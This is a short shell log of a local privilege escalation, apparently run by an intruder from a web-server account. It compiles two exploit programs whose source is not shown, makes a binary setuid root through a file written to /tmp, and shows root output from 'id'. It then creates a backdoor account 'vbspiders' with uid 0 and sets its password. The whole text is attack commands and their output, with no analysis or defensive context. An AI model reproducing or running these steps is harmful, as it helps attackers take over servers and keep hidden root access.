gcc -o e e.c;gcc -o pmod pmod.c

 echo "chown root 'pwd /e;chmod 4775 'pwd' /e">/tmp/mm

 ./pmod

 ./e id

 uid=80(root) gid=80(www) groups=80(www)

 /usr/sbin/useradd -o -u 0 vbspiders

 passwd vbspiders